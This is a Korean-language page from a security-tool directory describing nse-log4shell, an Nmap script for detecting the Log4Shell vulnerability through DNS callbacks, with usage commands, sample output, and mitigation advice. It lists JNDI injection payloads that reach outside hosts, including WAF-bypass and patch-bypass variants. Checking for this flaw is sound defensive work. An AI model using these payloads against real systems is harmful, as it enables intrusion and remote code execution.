Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
nse-log4shell — log4shell 또는 LogJam 취약점(CVE-2021-44228)을 점검하기 위한 Nmap NSE 스크립트 | Kitploit
도구/GitHubGitHub/diverto/nse-log4shell
Vulnerability ScannersExploitationWeb SecurityNetwork SecurityPenetration TestingDNS AnalysisArchived
GitHubdiverto/nse-log4shell

nse-log4shell

log4shell 또는 LogJam 취약점(CVE-2021-44228)을 점검하기 위한 Nmap NSE 스크립트

저장소 보기
352474년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

nse-log4shell

log4shell 또는 LogJam 취약점(CVE-2021-44228)을 확인하기 위한 Nmap NSE 스크립트입니다. NSE 스크립트는 인터넷에 노출된 가장 인기 있는 서비스를 확인합니다. 페이로드를 사용자 지정할 수 있는 기본 스크립트입니다.

예제

NSE 스크립트는 서비스에 요청만 보냅니다. Nmap은 취약한 호스트를 보고하지 않으므로 DNS 로그를 확인하여 취약 여부를 판단해야 합니다. 페이로드를 수동으로 지정하지 않으면 NSE 스크립트는 기본적으로 dnslog.cn을 사용합니다. 즉, 요청이 dnslog.cn에 표시됩니다.

dnslog.cn을 이용한 빠른 사용

이 스크립트가 있는 디렉터리로 이동한 후 다음 명령을 실행합니다(Nmap이 dnslog.cn을 자동으로 가져옵니다).

Linux의 경우:

root@kitploit:~
cd nse-log4shell
nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org

Windows의 경우:

root@kitploit:~
cd nse-log4shell
nmap -sV -T4 -v --script=%cd%/ scanme.nmap.org

고려할 페이로드

v2.15.0에 대한 새로운 패치 우회(CVE-2021-45046), @marcioalm 님 감사 (트윗):

root@kitploit:~
${jndi:ldap://127.0.0.1#{{target}}.xxx.dnslog.cn:1389/a}

AWS 우회(@11xuxx 님 감사 - 트윗):

root@kitploit:~
${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o}

Akamai 우회(@ozgur_bbh 님 감사 - 트윗):

root@kitploit:~
${jndi${123%25ff:-}:ldap://HOST:PORT/a}

수동 구성

Windows 예제(@ZedFuzz 님 감사) - 따옴표를 이스케이프하는 방법에 유의하세요:

root@kitploit:~
nmap -v --script=http-log4shell,ssh-log4shell,imap-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://{{target}}.xxxx.dnslog.cn}\"" -T4 -n --script-timeout=1m scanme.nmap.org

logdns(사용자 지정 DNS 로깅 서버) 이용

http://github.com/kost/logdns 로 이동하여 DNS 서버를 받으세요. 도메인을 얻고 logdns를 설치한 곳을 가리키게 하세요:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.logdns.xxx}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

dnslog.cn 이용

http://dnslog.cn/ 에 접속하여 SubDomain을 얻으세요. xxxx를 여러분의 SubDomain으로 바꾸세요:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.dnslog.cn}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

burpcollaborator 이용

Burp Collaborator에서 도메인을 가져와 xxxx를 여러분의 도메인으로 바꾸세요:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.burpcollaborator.net/diverto}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

CanaryToken(https://canarytokens.org/generate#) 이용

CanaryToken에서 토큰을 가져와 xxxx를 여러분의 도메인으로 바꾸세요:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}"' -T4 -n -pssh,imap*,http* --script-timeout=1m MY.IPs.TO.SCAN

@saintz666 님 감사

권장 방법

dnslog.cn의 세션은 짧습니다(약 30분). 스캔에 걸리는 시간만큼 세션을 연장할 방법이 있어야 합니다. 또한 DNS 쿼리는 요청을 수신한 것보다 훨씬 나중에 발생하는 경우도 있습니다. 어떤 사람은 요청이 이루어진 후 몇 시간 뒤에 DNS 요청을 받았다고 보고했습니다. 해결 방법으로, nmap NSE 스크립트는 각 호스트를 스캔한 후 세션을 가져옵니다.

따라서 현재 최상의 보장을 위해서는 logdns 같은 도구와 함께 사용자 지정 DNS 도메인을 사용하는 것입니다: https://github.com/kost/logdns

샘플 출력

root@kitploit:~
nmap -T4 -v --script=$PWD/ scanme.nmap.org
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-15 12:37 CET
NSE: Loaded 5 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.53s elapsed
Pre-scan script results:
| dnslog-cn:
|   Domain: 2t722h.dnslog.cn
|_  Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
Initiating Ping Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [2 ports]
Completed Ping Scan at 12:37, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:37
Completed Parallel DNS resolution of 1 host. at 12:37, 1.18s elapsed
Initiating Connect Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [1000 ports]
Discovered open port 80/tcp on 45.33.32.156
Discovered open port 53/tcp on 45.33.32.156
Discovered open port 22/tcp on 45.33.32.156
Stats: 0:00:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 56.00% done; ETC: 12:37 (0:00:16 remaining)
Discovered open port 9929/tcp on 45.33.32.156
Discovered open port 31337/tcp on 45.33.32.156
Completed Connect Scan at 12:37, 37.06s elapsed (1000 total ports)
NSE: Script scanning 45.33.32.156.
Initiating NSE at 12:37
Completed NSE at 12:37, 6.19s elapsed
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.18s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
9929/tcp  open  nping-echo
31337/tcp open  Elite

Host script results:
| dnslog-cn:
|   List of hosts responded: []
|   Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_  If list is not empty, check hosts as they are potentially vulnerable

NSE: Script Post-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.50s elapsed
Post-scan script results:
| dnslog-cn:
|   List of hosts responded: []
|   Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_  If list is not empty, check hosts as they are potentially vulnerable
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.11 seconds

해결책/수정

최선의 수정 및 해결 방법 목록.

최선의 수정

CVE-2021-44228로부터 보호하는 최선의 해결책: log4j-2.16.0 이상으로 업데이트하세요.

새로운 취약점이 발견되었으므로 log4j-2.15.0-rc1은 더 이상 권장되지 않습니다. 따라서 log4j-2.16.0 이상으로 업데이트해야 합니다(@ruppde 님 감사).

또한 log4j2.formatMsgNoLookups를 true로 설정하는 것과 같은 다른 권장 사항은 피해야 합니다.

최선의 식별

로컬 파일시스템에서 log4j 아티팩트를 찾아 log4shell 취약점을 식별하는 것이 가장 좋습니다.

이 NSE 스크립트는 추가 확인용으로만 사용해야 합니다. NSE는 취약한 애플리케이션이 아닌 취약한 서비스를 식별하는 데 도움이 됩니다. 취약한 애플리케이션은 모든 요청(루트 / 포함)을 로깅하는 경우에만 식별할 수 있으며, 취약점이 어떤 로그인 뒤에 숨겨져 있으면 식별할 수 없습니다. 그러려면 전체 웹을 크롤링하는 웹 스캐너가 필요합니다.

다음 예제로 특정 URI를 확인할 수 있습니다: http-log4shell.url=/my/application/uri

HTTP 헤더와 쿠키를 통해 확인합니다. post/get 양식을 확인해야 한다면 http-spider-log4shell을 확인해야 합니다. 그래도 log4j를 지원하는 웹 스캐너를 사용하는 것이 가장 좋습니다.

또한 log4j-core <= 2.7의 표현식에서 접두사 조합을 사용한 DNS 확인은 지원되지 않는 것으로 보입니다. 따라서 ${java:os} 같은 것으로 테스트하면 미탐(false negative)이 발생할 수 있습니다. 그러므로 미탐(false negative)보다는 오탐(false positive)이 조금 있는 편이 낫습니다.

참고 자료

취약점에 대한 일반 참고 자료 및 링크

일반

Reddit thread - log4shell에 대한 일반 정보

NCC log4shell - 취약점 관련 운영 정보(IOC, 완화, 스캐닝, 소프트웨어)

관련

BlueTeam CheatSheet Log4Shell - Log4Shell(CVE-2021-44228)과 연결된 보안 권고/공지

Software List - cheat-sheet reference guide - 공급업체 대응별 영향받는 소프트웨어 목록

테스트

원격 및 온라인 확인은 추가 확인이나 빠른 테스트에 유용합니다. 추가 확인을 위해 로컬 파일에서 알려진 log4j 시그니처를 검사하는 것이 좋습니다.

lo4shell.huntress.com - 온라인 Log4Shell 취약점 테스터

log4j yara - 로컬 탐지를 위한 yara 규칙

identify-log4j-class-location.sh - ear/war/jar 파일 모음에서 CVE-2021-44228 관련 Log4J 클래스를 식별하는 스크립트

악용

PoC-log4j-bypass-words - 단어 차단 패치를 우회하는 트릭

악용 탐지

log4shell-detector - Log4Shell 악용 시도 탐지기

Log4Shell-IOCs - IOC 피드 및 위협 보고서 목록

log4j_rce_detection.md - 이 명령과 규칙을 사용하여 악용 시도를 검색할 수 있습니다

완화/수정

log4j advisory - Apache Log4j 보안 취약점

log4j pull request and comments - 주석 관련 버그를 수정하는 풀 리퀘스트

Logout4Shell - 수동 패치에 대한 빠르고 간편한 대안

도구 다운로드